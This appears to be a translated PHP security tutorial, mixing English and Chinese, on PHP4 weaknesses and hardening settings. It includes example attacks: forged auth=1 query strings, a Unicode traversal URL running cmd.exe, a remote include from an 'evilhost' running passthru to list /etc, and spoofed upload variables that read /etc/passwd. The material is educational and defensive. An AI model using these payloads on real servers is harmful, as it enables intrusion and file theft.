Summary: PHP programs are not impregnable. With the widespread use of PHP, some hackers are constantly looking for PHP vulnerabilities. Trouble, attacking through PHP program vulnerabilities is one of them. In this section, we will analyze the security of PHP from the aspects of global variables, remote files, file uploads, library files, Session files, data types and error-prone functions.
How to attack through global variables?
Variables in PHP do not need to be declared in advance, they are automatically created the first time they are used, and their types are automatically determined based on the context. From a programmer's perspective, this is undoubtedly an extremely convenient approach. Once a variable is created, it can be used anywhere in the program. The result of this feature is that programmers rarely initialize variables.
Obviously, the main function of PHP-based applications generally accepts user input (mainly form variables, uploaded files, cookies, etc.), then processes the input data, and then returns the results to the client browser . In order to make it as easy as possible for PHP code to access user input, PHP actually treats this input data as global variables.
For example:
Program code
<FORM METHOD="GET" ACTION="test.php"> <INPUT TYPE="TEXT" NAME="hello"> <INPUT TYPE="SUBMIT"> </FORM>
This will display a text box and submit button. When the user clicks the submit button, "test.php" will process the user's input. When "test.php" is run, "$hello" will contain the data entered by the user in the text box. From here we should see that the attacker can create any global variables according to his wishes. If the attacker does not call "test.php" through form input, but directly enters http://server/test.php?hello=hi&setup=no in the browser address bar, then not only "$hello" will be created , "$setup" is also created.
The following user authentication code exposes security issues caused by PHP's global variables:
Program code
<?php if ($pass == "hello") $auth = 1; ... if ($auth == 1) echo "some important information"; ?>
The above code first checks whether the user's password is "hello". If it matches, set "$auth" to "1", which means the authentication is passed. Afterwards, if "$suth" is "1", some important information will be displayed.
This code assumes that "$auth" is empty when no value is set, but an attacker can create any global variable and assign a value, through something like "http://server/test.php?auth=1" Method, we can completely trick this code into believing that we have authenticated it.
Therefore, in order to improve the security of PHP programs, we cannot trust any variables that are not clearly defined. This can be a very difficult task if there are many variables in the program.
A common protection method is to check the variables in the array HTTP_GET[] or POST_VARS[], which depends on our submission method (GET or POST). When PHP is configured with the "track_vars" option turned on (which is the default), user-submitted variables are available in global variables and the array mentioned above.
But it is worth mentioning that PHP has four different array variables used to process user input. The HTTP_GET_VARS array is used to process variables submitted in GET mode, the HTTP_POST_VARS array is used to process variables submitted in POST mode; the HTTP_COOKIE_VARS array is used to process variables submitted as cookie headers, and for the HTTP_POST_FILES array (provided by relatively new PHP), it is completely An optional way for users to submit variables. A user request can easily store variables in these four arrays, so a secure PHP program should check these four arrays. How to attack via remote files?
PHP is a feature-rich language that provides a large number of functions to make it easy for programmers to implement specific functions. But from a security perspective, the more features you have, the harder it is to keep it secure. Remote files are a good example of this problem:
Program code
<?php if (!($fd = fopen("$filename", "r")) echo("Could not open file: $filename \n"); ?>
The above script attempts to open the file "$filename" and displays an error message if it fails. Obviously, if we can specify "$filename", we can use this script to browse any file on the system. However, a less obvious feature of this script is that it can read files from any other WEB or FTP site. In fact, most of PHP's file handling functions handle remote files transparently.
For example:
If "$filename" is specified as "http://target/scripts/..� ../winnt/system32/cmd.exe?/c dir"
The above code actually exploits the unicode vulnerability on the host target to execute the dir command. This makes supporting include(), require(), include_once() and require_once() for remote files more interesting in context. The main function of these functions is to include the contents of specified files and interpret them according to PHP code. They are mainly used on library files.
For example:
Program code
<?php include($libdir . "/languages.php"); ?>
上例中"$libdir"一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得"$libdir"没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的"Poisonnull byte"攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件languages.php,包含如下内容:
程序代码
<?php passthru("/bin/ls /etc"); ?>
然后把"$libdir"设置为"http://<evilhost>/",这样我们就可以在目标主机上执行上面的攻击代码,"/etc"目录的内容将作为结果返回到客户的浏览器中。
需要注意的是,攻击代码是不会在自身所在的服务器(也就是evilhost)上执行执行自身PHP程序的,否则,攻击代码会攻击自身所在的服务器,而不是在目标服务器执行。
如何通过文件上载进行攻击?
PHP自动支持基于RFC 1867的文件上载,我们看下面的例子:
程序代码
<FORM METHOD="POST" ENCTYPE="multipart/form-data"> <INPUT TYPE="FILE" NAME="hello"> <INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240"> <INPUT TYPE="SUBMIT"> </FORM>
上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式将使这项功能变得不安全。当PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过"$MAX_FILE_SIZE variable"定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。
因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。
让我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且是存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机的,类似"phpxXuoXG"的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。
大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子:
程序代码
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG") $hello_size = Size in bytes of file (e.g 1024) $hello_name = The original name of the file on the remote system (e.g"c:\\temp\\hello.txt") $hello_type = Mime type of uploaded file (e.g "text/plain")
然后,PHP程序开始处理根据"$hello"指定的文件。问题在于"$hello"不一定是一个PHP设置的变量,任何远程用户都可以指定它。如果我们使用下面的方式:
http://vulnhost/vuln.php?hello=/ ... e=10240&hello_type= text/plain&hello_name=hello.txt
就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):
程序代码
$hello = "/etc/passwd" $hello_size = 10240 $hello_type = "text/plain" $hello_name = "hello.txt"
上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理本应在上载者本机上的上载文件,而是处理服务器上"/etc/passwd"(通常会导致内容暴露)文件。这种攻击可以用于暴露任何敏感文件的内容。
新版本的PHP使用HTTP_POST_FILES[]来决定上载文件,同时也提供了很多函数来解决这个问题,例如有一个函数用来判断某个文件是不是实际上载的文件。但是实际上肯定有很多PHP程序仍然使用旧的方法,所以也很容易受到这种攻击。
作为文件上载的攻击方法的一个变种,我们看一下下面的一段代码:
<?php if (file_exists($theme)) // Checks the file exists on the local system (noremote files) include("$theme"); ?>
如果攻击者可以控制"$theme"的话,很显然它可以利用"$theme"来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令,但是他无法使用远程文件,因此,他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的,但是文件上载帮了我们这个忙,如果攻击者先在本地机器上创建一个包含PHP代码的文件,然后创建一个包含名为"theme"的文件域的表单,最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码,PHP就会把攻击者提交的文件保存起来,并把"$theme"的值设置为攻击者提交的文件,这样file_exists()函数会检查通过,攻击者的代码也将执行。
获得执行任意指令的能力之后,攻击者显然想提升权限或者是扩大战果,而这又需要一些服务器上没有的工具集,而文件上载又一次帮了攻击者的忙。攻击者可以使用文件上载功能上载工具,把她们存在服务器上,然后利用他们执行指令的能力,使用chmod()改变文件的权限,然后执行。 例如:攻击者可以绕过防火墙或IDS上载一个本地root攻击程序,然后执行,这样就获得了root权限。
如何通过库文件进行攻击?
正如我们前面讨论的那样,include()和require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。
最初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个".inc"的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把PHP作为Apache的模块使用时,PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的,一般是".php", ".php3"和".php4"。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中,那么远程攻击者很容易得到这些信息。
最简单的解决方法就是:给每个文件都指定一个PHP文件的扩展名,这样可以很好的防止泄露源代码的问题,但是又产生了新的问题,通过请求这个文件,攻击者可能使本该在上下文环境中运行的代码独立运行,这可能导致前面讨论的全部攻击。
下面是一个很明显的例子:
In main.php:
<?php $libDir = "/libdir"; $langDir = "$libdir/languages"; ... include("$libdir/loadlanguage.php": ?> In libdir/loadlanguage.php: <?php ... include("$langDir/$userLang"); ?>
当"libdir/loadlanguage.php"被"main.php"调用时是相当安全的,但是因为"libdir/loadlanguage"具有".php"的扩展名,因此远程攻击者可以直接请求这个文件,并且可以任意指定"$langDir"和"$userLang"的值。
如何通过Session文件进行攻击?
PHP 4或更新的版本提供了对sessions的支持,它的主要作用是在PHP程序中保存页与页之间的状态信息。例如,当一个用户登陆进入网站,他登陆了的这个事实以及谁登陆进入这个网站的相关信息都将被保存在session中,当他在网站中到处浏览时,所有的PHP代码都可以获得这些状态信息。
事实上,当一个session启动时(实际上是在配置文件中设置为在第一次请求时自动启动),就会生成一个随机的"session id",如果远程浏览器总是在发送请求时提交这个"session id"的话,session就会一直保持。这通过Cookie很容易实现,也可以通过在每页提交一个表单变量(包含"session id")来实现。PHP程序可以用session注册一个特殊的变量,它的值会在每个PHP脚本结束后存在session文件中,也会在每个PHP脚本开始前加载到变量中。下面是一个简单的例子:
<?php session_destroy(); // Kill any data currently in the session $session_auth = "shaun"; session_register("session_auth"); // Register $session_auth as a session variable ?>
新版本的PHP都会自动把"$session_auth"的值设置为"shaun",如果它们被修改的话,以后的脚本都会自动接受修改后的值,这对无状态的Web来说的确是种很不错的工具,但是我们也应该小心。
一个很明显的问题就是确保变量的确来自session,例如,给定上面的代码,如果后续的脚本是下面这样的话:
<?php if (!empty($session_auth)) // Grant access to site here ?>
上面的代码假定如果"$session_auth"被赋值的话,就是从session,而不是从用户输入来赋值的,如果攻击者通过表单输入来赋值的话,他就可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法,一旦变量被放进了session,就会覆盖任何表单输入。
Session数据一般是保存在文件中(位置是可配置的,一般是"/tmp"),文件名一般是类似"sess_<session id>"的形式,这个文件包含变量名称,变量类型,变量值和一些其它的数据。在多主机系统中,因为文件是以运行Web服务器的用户身份(一般是nobody)保存的,因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问,甚至可以检查session文件中的敏感信息。
Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便。对于上面的例子来说,攻击者需要在远程系统放置一个包含PHP代码的文件,如果不能利用文件上载做到的话,他通常会利用session为一个变量按照自己的意愿赋一个值,然后猜测session文件的位置,而他知道文件名是"php<session id>",所以只需猜测目录,而目录一般就是"/tmp"。
另外,攻击者可以任意指定"session id"(例如"hello"),然后用这个"session id"创建一个session文件(例如"/tmp/sess_hello"),但是"session id"只能是字母和数字组合。
如何通过数据类型进行攻击?
PHP has relatively loose data types, and the types of variables depend on the context in which they are located. For example: "$hello" starts as a string variable with a value of "", but during evaluation, it becomes an integer variable "0", which may sometimes lead to unexpected results. If the value of "$hello" is different between "000" and "0", the result returned by empty() will not be true.
Arrays in PHP are associative arrays, that is to say, the index of the array is of string type. This means that "$hello["000"]" and "$hello[0]" are also different.
The above issues should be carefully considered when developing a program. For example, we should not test whether a variable is "0" in one place and use empty() to verify it in another place.
How to attack via error-prone functions? The following is a more detailed list of error-prone functions:
<PHP code execution>
require(): Read the contents of the specified file and interpret it as PHP code
include(): Same as above
eval(): Execute the given string as PHP code
preg_replace(): When used with the "/e" switch, the replacement string will be interpreted as PHP code
<Command execution>
exec(): Execute the specified command and return the last line of the execution result
passthru(): Execute the specified command and return all results to the client browser
``: Execute the specified command and return all results to an array
system(): Same as passthru(), but does not process binary data
popen(): Execute the specified command and connect the input or output to the PHP file descriptor
<File leaked>
fopen(): Open a file and correspond to a PHP file descriptor
readfile(): Read the contents of the file and output it to the client browser
file(): Read the entire file content into an array
How to enhance the security of PHP?
All the attacks we introduced above can be implemented well against the default installation of PHP4, but the configuration of PHP is very flexible. By configuring some PHP options, it is entirely possible for us to resist some of these attacks. Below we classify some configurations according to the difficulty of implementation:
*Low difficulty
**Low to medium difficulty
***Medium to High Difficulty
****High difficulty
If you use all the options provided by PHP, then your PHP will be very safe, even for third-party code, because many of its functions are no longer available.
**** Set "register_globals" to "off"
This option will disable PHP from creating global variables for user input, that is, if the user submits the form variable "hello", PHP will not create "$hello", but only create "HTTP_GET/POST_VARS[''hello'']" . This is an extremely important option in PHP. Turning off this option will bring great inconvenience to programming.
*** Set "safe_mode" to "on"
Turn this option on and the following restrictions will be added:
1. Limit which commands can be executed
2. Limit which functions can be used
3. File access restrictions based on script ownership and target file ownership
4. Disable file upload function
This is a "great" option for ISPs, and it also greatly improves PHP security.
** Set "open_basedir"
This option can prohibit file operations outside the specified directory, effectively eliminating attacks by include() on local files or remote files, but you still need to pay attention to attacks on file uploads and session files.
** Set "display_errors" to "off" and set "log_errors" to "on"
This option disables error messages from being displayed on the web page and instead records them in a log file, which can effectively resist attackers from detecting functions in the target script.
* Set "allow_url_fopen" to "off"
This option disables the remote file function.
The above content is the analysis of common PHP vulnerability attacks introduced by the editor. I hope it will be helpful to everyone!